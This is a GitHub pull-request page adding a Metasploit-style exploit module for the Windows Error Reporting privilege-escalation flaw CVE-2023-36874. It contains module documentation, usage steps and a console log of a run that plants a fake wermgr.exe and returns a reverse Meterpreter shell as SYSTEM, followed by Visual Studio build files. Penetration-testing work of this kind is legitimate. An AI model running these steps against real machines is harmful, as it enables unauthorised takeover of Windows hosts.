-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add Module for CVE-2023-36874, Windows Error Reporting #18314
Merged
Merged
Changes from 7 commits
Commits
Show all changes
9 commits
Select commit
Hold shift + click to select a range
c055822
Placeholder for VE-2023-36874
bwatters-r7 c69e983
Add module to create directory structures and upload/run exploit
bwatters-r7 ccba494
Exploit working, still needs to be cleaned up
bwatters-r7 91e7af4
Added check, some stealth, and cleaned code
bwatters-r7 b4a1bb8
Add docs and support for shell sessions; update exe to work without r…
bwatters-r7 03fa034
Actually delete the file I told you to delete
bwatters-r7 be731f3
Add error checking and randomize the report directory
bwatters-r7 0b84fea
updates from code review
bwatters-r7 a929d7b
Added LICENSE info
bwatters-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
Binary file not shown.
Binary file not shown.
96 changes: 96 additions & 0 deletions
96
documentation/modules/exploit/windows/local/win_error_cve_2023_36874.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,96 @@ | ||
| ## Introduction | ||
|
|
||
| This module takes advantage of a bug in the way Windows error reporting opens the report | ||
| parser. If you open a report, Windows uses a relative path to locate the rendering program. | ||
| By creating a specific alternate directory structure, we can coerce Windows into opening an | ||
| arbitrary executable as SYSTEM. | ||
| If the current user is a local admin, the system will attempt impersonation and the exploit will | ||
| fail. | ||
|
|
||
| This module will attempt to delete the payload it uploads and the directory structure | ||
|
|
||
| ## Vulnerable Application | ||
| This module works only on Windows 10x64 22H2 | ||
|
|
||
| ## Installation Instructions | ||
| 1. Install Windows 10x64 22H2 | ||
| 1. Create a standard user | ||
|
|
||
|
|
||
| ## Usage | ||
|
|
||
| 1. Create a session on the target system under the context of a non local administrative user. | ||
| 1. Begin interacting with the module: `use exploit/windows/local/win_error_cve_2023_36874`. | ||
| 1. Set the `PAYLOAD` and configure it correctly. | ||
| 1. If an existing handler is configured to receive the elevated session, then the module's | ||
| handler should be disabled: `set DisablePayloadHandler true`. | ||
| 1. Make sure that the `SESSION` value is set to the existing session identifier. | ||
| 1. Invoke the module: `run`. | ||
|
|
||
|
|
||
| ## Options | ||
| 1. `EXPLOIT_NAME` The filename to use for the exploit binary (%RAND%.exe by default) | ||
| 1. `REPORT_DIR` The Error Directory to use (%RAND% by default). | ||
| 1. `REPORT_NAME` The Error report name (%RAND% by default). | ||
| 1. `SHADOW_DRIVE` Directory to place in the home drive for pivot (%TEMP% by default). | ||
| 1. `EXECUTE_DELAY` The number of seconds to delay between file upload and exploit launch. Default is 3. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Windows 10.0.19045.2006 x64 (Windows 10x64 22H2) | ||
|
|
||
| ``` | ||
| msf6 exploit(windows/local/win_error_cve_2023_36874) > run | ||
|
|
||
| [*] Started reverse TCP handler on 10.5.135.201:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] OS version: Windows 10+ Build 19045 | ||
| [+] The target appears to be vulnerable. | ||
| [*] Shadow Path = C:\NpIWBsCJozK | ||
| [*] Attempting to PrivEsc on DESKTOP-V413087 via session ID: 1 | ||
| [*] C:\ProgramData | ||
| [*] Creating C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport | ||
| [*] Creating directory C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport | ||
| [*] C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport created | ||
| [*] Writing Report to C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport\Report.wer | ||
| [*] Creating directory C:\NpIWBsCJozK | ||
| [*] C:\NpIWBsCJozK created | ||
| [*] Creating directory C:\NpIWBsCJozK\ProgramData\ | ||
| [*] C:\NpIWBsCJozK\ProgramData\ created | ||
| [*] Creating directory C:\NpIWBsCJozK\ProgramData\Microsoft\ | ||
| [*] C:\NpIWBsCJozK\ProgramData\Microsoft\ created | ||
| [*] Creating directory C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\ | ||
| [*] C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\ created | ||
| [*] Creating directory C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ | ||
| [*] C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ created | ||
| [*] Creating directory C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\ | ||
| [*] C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\ created | ||
| [*] Creating directory C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport | ||
| [*] C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport created | ||
| [*] Writing bad Report to C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport\Report.wer | ||
| [*] Creating C:\NpIWBsCJozK\system32 | ||
| [*] Creating directory C:\NpIWBsCJozK\system32 | ||
| [*] C:\NpIWBsCJozK\system32 created | ||
| [*] Writing payload to C:\NpIWBsCJozK\system32\wermgr.exe | ||
| [*] shadow_path = NpIWBsCJozK | ||
| [*] Exploit uploaded on DESKTOP-V413087 to C:\NpIWBsCJozK\fShpLfYh.exe | ||
| [*] Sending stage (200774 bytes) to 10.5.132.118 | ||
| [+] Deleted C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport | ||
| [*] | ||
| [+] Deleted C:\NpIWBsCJozK\ProgramData\Microsoft\Windows\WER\ReportArchive\ | ||
| [*] Meterpreter session 2 opened (10.5.135.201:4444 -> 10.5.132.118:62415) at 2023-09-19 15:43:02 -0500 | ||
| [-] Failed to delete C:\NpIWBsCJozK\system32: stdapi_fs_delete_dir: Operation failed: The directory is not empty. | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : DESKTOP-V413087 | ||
| OS : Windows 10 (10.0 Build 19045). | ||
| Architecture : x64 | ||
| System Language : en_US | ||
| Domain : WORKGROUP | ||
| Logged On Users : 4 | ||
| Meterpreter : x64/windows | ||
| meterpreter > getuid | ||
| Server username: NT AUTHORITY\SYSTEM | ||
| meterpreter > exit | ||
|
|
||
| ``` |
31 changes: 31 additions & 0 deletions
31
external/source/exploits/CVE-2023-36874/CVE-2023-36874/CVE-2023-36874.sln
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,31 @@ | ||
| | ||
| Microsoft Visual Studio Solution File, Format Version 12.00 | ||
| # Visual Studio Version 16 | ||
| VisualStudioVersion = 16.0.32929.386 | ||
| MinimumVisualStudioVersion = 10.0.40219.1 | ||
| Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2023-36874", "CVE-2023-36874\CVE-2023-36874.vcxproj", "{4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}" | ||
| EndProject | ||
| Global | ||
| GlobalSection(SolutionConfigurationPlatforms) = preSolution | ||
| Debug|x64 = Debug|x64 | ||
| Debug|x86 = Debug|x86 | ||
| Release|x64 = Release|x64 | ||
| Release|x86 = Release|x86 | ||
| EndGlobalSection | ||
| GlobalSection(ProjectConfigurationPlatforms) = postSolution | ||
| {4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Debug|x64.ActiveCfg = Debug|x64 | ||
| {4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Debug|x64.Build.0 = Debug|x64 | ||
| {4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Debug|x86.ActiveCfg = Debug|Win32 | ||
| {4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Debug|x86.Build.0 = Debug|Win32 | ||
| {4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Release|x64.ActiveCfg = Release|x64 | ||
| {4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Release|x64.Build.0 = Release|x64 | ||
| {4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Release|x86.ActiveCfg = Release|Win32 | ||
| {4CBF3ACA-76E5-4C6A-9483-CA2ADC6EAF6B}.Release|x86.Build.0 = Release|Win32 | ||
| EndGlobalSection | ||
| GlobalSection(SolutionProperties) = preSolution | ||
| HideSolutionNode = FALSE | ||
| EndGlobalSection | ||
| GlobalSection(ExtensibilityGlobals) = postSolution | ||
| SolutionGuid = {A022017A-2A80-4E35-A696-EB6884E52E5E} | ||
| EndGlobalSection | ||
| EndGlobal |
152 changes: 152 additions & 0 deletions
152
external/source/exploits/CVE-2023-36874/CVE-2023-36874/CVE-2023-36874/CVE-2023-36874.vcxproj
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,152 @@ | ||
| <?xml version="1.0" encoding="utf-8"?> | ||
| <Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | ||
| <ItemGroup Label="ProjectConfigurations"> | ||
| <ProjectConfiguration Include="Debug|Win32"> | ||
| <Configuration>Debug</Configuration> | ||
| <Platform>Win32</Platform> | ||
| </ProjectConfiguration> | ||
| <ProjectConfiguration Include="Release|Win32"> | ||
| <Configuration>Release</Configuration> | ||
| <Platform>Win32</Platform> | ||
| </ProjectConfiguration> | ||
| <ProjectConfiguration Include="Debug|x64"> | ||
| <Configuration>Debug</Configuration> | ||
| <Platform>x64</Platform> | ||
| </ProjectConfiguration> | ||
| <ProjectConfiguration Include="Release|x64"> | ||
| <Configuration>Release</Configuration> | ||
| <Platform>x64</Platform> | ||
| </ProjectConfiguration> | ||
| </ItemGroup> | ||
| <PropertyGroup Label="Globals"> | ||
| <VCProjectVersion>16.0</VCProjectVersion> | ||
| <Keyword>Win32Proj</Keyword> | ||
| <ProjectGuid>{4cbf3aca-76e5-4c6a-9483-ca2adc6eaf6b}</ProjectGuid> | ||
| <RootNamespace>CVE202336874</RootNamespace> | ||
| <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion> | ||
| </PropertyGroup> | ||
| <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> | ||
| <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> | ||
| <ConfigurationType>Application</ConfigurationType> | ||
| <UseDebugLibraries>true</UseDebugLibraries> | ||
| <PlatformToolset>v142</PlatformToolset> | ||
| <CharacterSet>Unicode</CharacterSet> | ||
| </PropertyGroup> | ||
| <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> | ||
| <ConfigurationType>Application</ConfigurationType> | ||
| <UseDebugLibraries>false</UseDebugLibraries> | ||
| <PlatformToolset>v142</PlatformToolset> | ||
| <WholeProgramOptimization>true</WholeProgramOptimization> | ||
| <CharacterSet>Unicode</CharacterSet> | ||
| </PropertyGroup> | ||
| <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> | ||
| <ConfigurationType>Application</ConfigurationType> | ||
| <UseDebugLibraries>true</UseDebugLibraries> | ||
| <PlatformToolset>v142</PlatformToolset> | ||
| <CharacterSet>Unicode</CharacterSet> | ||
| </PropertyGroup> | ||
| <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> | ||
| <ConfigurationType>Application</ConfigurationType> | ||
| <UseDebugLibraries>false</UseDebugLibraries> | ||
| <PlatformToolset>v142</PlatformToolset> | ||
| <WholeProgramOptimization>true</WholeProgramOptimization> | ||
| <CharacterSet>Unicode</CharacterSet> | ||
| </PropertyGroup> | ||
| <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> | ||
| <ImportGroup Label="ExtensionSettings"> | ||
| </ImportGroup> | ||
| <ImportGroup Label="Shared"> | ||
| </ImportGroup> | ||
| <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> | ||
| <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> | ||
| </ImportGroup> | ||
| <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> | ||
| <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> | ||
| </ImportGroup> | ||
| <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> | ||
| <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> | ||
| </ImportGroup> | ||
| <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> | ||
| <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> | ||
| </ImportGroup> | ||
| <PropertyGroup Label="UserMacros" /> | ||
| <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> | ||
| <LinkIncremental>true</LinkIncremental> | ||
| </PropertyGroup> | ||
| <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> | ||
| <LinkIncremental>false</LinkIncremental> | ||
| </PropertyGroup> | ||
| <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> | ||
| <LinkIncremental>true</LinkIncremental> | ||
| </PropertyGroup> | ||
| <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> | ||
| <LinkIncremental>false</LinkIncremental> | ||
| </PropertyGroup> | ||
| <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> | ||
| <ClCompile> | ||
| <WarningLevel>Level3</WarningLevel> | ||
| <SDLCheck>true</SDLCheck> | ||
| <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> | ||
| <ConformanceMode>true</ConformanceMode> | ||
| </ClCompile> | ||
| <Link> | ||
| <SubSystem>Console</SubSystem> | ||
| <GenerateDebugInformation>true</GenerateDebugInformation> | ||
| </Link> | ||
| </ItemDefinitionGroup> | ||
| <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> | ||
| <ClCompile> | ||
| <WarningLevel>Level3</WarningLevel> | ||
| <FunctionLevelLinking>true</FunctionLevelLinking> | ||
| <IntrinsicFunctions>true</IntrinsicFunctions> | ||
| <SDLCheck>true</SDLCheck> | ||
| <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> | ||
| <ConformanceMode>true</ConformanceMode> | ||
| </ClCompile> | ||
| <Link> | ||
| <SubSystem>Console</SubSystem> | ||
| <EnableCOMDATFolding>true</EnableCOMDATFolding> | ||
| <OptimizeReferences>true</OptimizeReferences> | ||
| <GenerateDebugInformation>true</GenerateDebugInformation> | ||
| </Link> | ||
| </ItemDefinitionGroup> | ||
| <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> | ||
| <ClCompile> | ||
| <WarningLevel>Level3</WarningLevel> | ||
| <SDLCheck>true</SDLCheck> | ||
| <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> | ||
| <ConformanceMode>true</ConformanceMode> | ||
| <RuntimeLibrary>MultiThreaded</RuntimeLibrary> | ||
| </ClCompile> | ||
| <Link> | ||
| <SubSystem>Console</SubSystem> | ||
| <GenerateDebugInformation>true</GenerateDebugInformation> | ||
| </Link> | ||
| </ItemDefinitionGroup> | ||
| <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> | ||
| <ClCompile> | ||
| <WarningLevel>Level3</WarningLevel> | ||
| <FunctionLevelLinking>true</FunctionLevelLinking> | ||
| <IntrinsicFunctions>true</IntrinsicFunctions> | ||
| <SDLCheck>true</SDLCheck> | ||
| <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> | ||
| <ConformanceMode>true</ConformanceMode> | ||
| <RuntimeLibrary>MultiThreaded</RuntimeLibrary> | ||
| </ClCompile> | ||
| <Link> | ||
| <SubSystem>Console</SubSystem> | ||
| <EnableCOMDATFolding>true</EnableCOMDATFolding> | ||
| <OptimizeReferences>true</OptimizeReferences> | ||
| <GenerateDebugInformation>true</GenerateDebugInformation> | ||
| </Link> | ||
| </ItemDefinitionGroup> | ||
| <ItemGroup> | ||
| <ClCompile Include="cve_2023_36874.cpp" /> | ||
| </ItemGroup> | ||
| <ItemGroup> | ||
| <ClInclude Include="def.h" /> | ||
| </ItemGroup> | ||
| <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> | ||
| <ImportGroup Label="ExtensionTargets"> | ||
| </ImportGroup> | ||
| </Project> |
27 changes: 27 additions & 0 deletions
27
...urce/exploits/CVE-2023-36874/CVE-2023-36874/CVE-2023-36874/CVE-2023-36874.vcxproj.filters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,27 @@ | ||
| <?xml version="1.0" encoding="utf-8"?> | ||
| <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | ||
| <ItemGroup> | ||
| <Filter Include="Source Files"> | ||
| <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> | ||
| <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions> | ||
| </Filter> | ||
| <Filter Include="Header Files"> | ||
| <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> | ||
| <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions> | ||
| </Filter> | ||
| <Filter Include="Resource Files"> | ||
| <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> | ||
| <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions> | ||
| </Filter> | ||
| </ItemGroup> | ||
| <ItemGroup> | ||
| <ClCompile Include="cve_2023_36874.cpp"> | ||
| <Filter>Source Files</Filter> | ||
| </ClCompile> | ||
| </ItemGroup> | ||
| <ItemGroup> | ||
| <ClInclude Include="def.h"> | ||
| <Filter>Header Files</Filter> | ||
| </ClInclude> | ||
| </ItemGroup> | ||
| </Project> |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please, could you address the issues reported by
msftidy_docs.rb?